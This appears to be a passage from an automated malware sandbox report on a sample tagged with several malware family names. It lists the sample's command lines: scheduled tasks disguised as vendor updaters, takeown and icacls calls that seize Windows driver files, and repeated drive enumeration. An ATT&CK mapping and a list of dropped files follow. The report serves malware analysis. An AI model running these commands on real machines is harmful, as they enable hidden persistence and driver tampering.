C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_85ae4db9" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_85ae4db9" /XML "C:\Users\Admin\AppData\Local\Temp\311ec9ca-600c-4fac-873e-7877d984c797.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_7eb26a82" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_7eb26a82" /XML "C:\Users\Admin\AppData\Local\Temp\abb0b4ed-77cc-474c-955a-2561e3fd4777.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_41a691ba" /F3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_41a691ba" /XML "C:\Users\Admin\AppData\Local\Temp\848f93e8-a43c-4ca2-84bc-61ba835e277d.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspptp.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspptp.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\modem.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\modem.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\parport.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serenum.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serenum.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serial.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S3⤵
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\serial.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys.bak" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\usbprint.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Y: /D3⤵
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exeC:\Users\Admin\AppData\Local\Temp\2026-09-29_d6299c44d3657112dae4c2e90774c2e2_amadey_cobalt-strike_darkgate_glassworm_icedid.exe1⤵
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SettingSync\SearchUI.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SettingSync\SearchUI.exe"1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\WmiPrvSE.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\WER\WmiPrvSE.exe"1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\MusNotification.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Notifications\MusNotification.exe"1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Impair Defenses
6Disable or Modify System Firewall
1Disable or Modify Tools
4Masquerading
1Match Legitimate Name or Location
1Modify Registry
6Replay Monitor
Loading Replay Monitor...
Downloads
SearchUI.exe
0c263621b6e647b8bb501423f10c9621.dll
164a1f13-ecf2-493d-9fcd-dc9e1df0a94f.xml
311ec9ca-600c-4fac-873e-7877d984c797.xml
60624c1e-e816-4341-844d-1c359cd204a6.xml
69deca80-712d-4093-93bd-8a5a8830b05a.xml
848f93e8-a43c-4ca2-84bc-61ba835e277d.xml
92c451c7-a3c0-4437-b08f-b62e9d9b118c.xml
94f72ed5-3e94-4834-a435-e576a0aab4b1.xml
9657fb5c-d4d4-41a7-be02-fb213549e4e6.xml
97bc1671-4805-4447-91de-be4f869e8b55.xml
9cbba8e5-b840-4cf5-a826-bf5729a3c0fc.xml
abb0b4ed-77cc-474c-955a-2561e3fd4777.xml
ff03a796-76d9-4c34-9885-2def2d6dfca5.xml
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
driver_infector.log
parport.sys
serenum.sys
serial.sys
usbprint.sys
memory/928-225-0x00007FFB6A3D0000-0x00007FFB6A497000-memory.dmp
memory/928-226-0x00007FFB68AF0000-0x00007FFB68E91000-memory.dmp
memory/928-224-0x00007FFB6B180000-0x00007FFB6B3E3000-memory.dmp
memory/1876-223-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-2-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-168-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-16-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-0-0x0000018E56000000-0x0000018E560B4000-memory.dmp
memory/1876-1-0x00007FFB4844F000-0x00007FFB48450000-memory.dmp
memory/1876-8-0x00007FFB6B180000-0x00007FFB6B3E3000-memory.dmp
memory/1876-3-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-9-0x00007FFB6A3D0000-0x00007FFB6A497000-memory.dmp
memory/1876-11-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-10-0x00007FFB68AF0000-0x00007FFB68E91000-memory.dmp
memory/1876-6-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-7-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-5-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/1876-4-0x00007FFB482C0000-0x00007FFB48C64000-memory.dmp
memory/2100-69-0x0000000000FD0000-0x0000000000FD1000-memory.dmp
memory/2100-15-0x00007FFB2B2C0000-0x00007FFB2B2D0000-memory.dmp
memory/2100-40-0x0000000003C80000-0x0000000003C81000-memory.dmp
memory/5116-219-0x00007FFB44AE0000-0x00007FFB44D3E000-memory.dmp
memory/5116-218-0x00007FFB44AE0000-0x00007FFB44D3E000-memory.dmp
memory/5116-215-0x00007FFB08E80000-0x00007FFB08E90000-memory.dmp
memory/5116-213-0x0000015FB81A0000-0x0000015FB81A1000-memory.dmp